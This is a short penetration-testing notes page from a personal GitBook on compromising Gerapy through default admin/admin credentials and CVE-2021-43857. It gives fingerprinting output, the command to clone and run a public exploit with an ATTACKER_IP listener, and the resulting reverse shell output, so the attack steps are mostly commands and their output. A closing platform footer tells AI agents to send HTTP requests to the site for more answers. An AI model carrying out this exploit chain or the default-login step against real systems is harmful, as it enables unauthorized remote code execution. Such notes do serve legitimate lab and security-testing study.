> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/gerapy.md).

# Gerapy

Gerapy exposed on TCP/8000 can lead to authenticated RCE when default credentials are still valid and the instance is vulnerable to CVE-2021-43857.

## Discovery

Look for Gerapy on the Python WSGI service:

Useful indicators:

```
8000/tcp open  http  WSGIServer 0.2 (Python 3.10.6)
|_http-server-header: WSGIServer/0.2 CPython/3.10.6
|_http-title: Gerapy
```

WhatWeb may show:

```
HTTPServer[WSGIServer/0.2 CPython/3.10.6], Title[Gerapy]
```

## Default Login

Try the default admin credentials:

```
Username: admin
Password: admin
```

## CVE-2021-43857 RCE

Public exploit:

```bash
git clone https://github.com/LongWayHomie/CVE-2021-43857.git
cd CVE-2021-43857
```

The exploit needs an existing Gerapy project. If the project list is empty, create a project in the web UI first. In the observed path, the project was named `myproject`.

Run the exploit:

```bash
python3 exploit.py -t TARGET -p 8000 -L ATTACKER_IP -P 80
```

Successful output:

```
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
[*] Found project: myproject
[*] Found ID of the project:  1
[*] Setting up a netcat listener
[*] Executing reverse shell payload
[*] Watchout for shell! :)
```

Successful shell:

```
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$
```

Confirm context:

```bash
id
# uid=1000(app) gid=1000(app) groups=1000(app)
```

## References

* <https://github.com/LongWayHomie/CVE-2021-43857>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/gerapy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
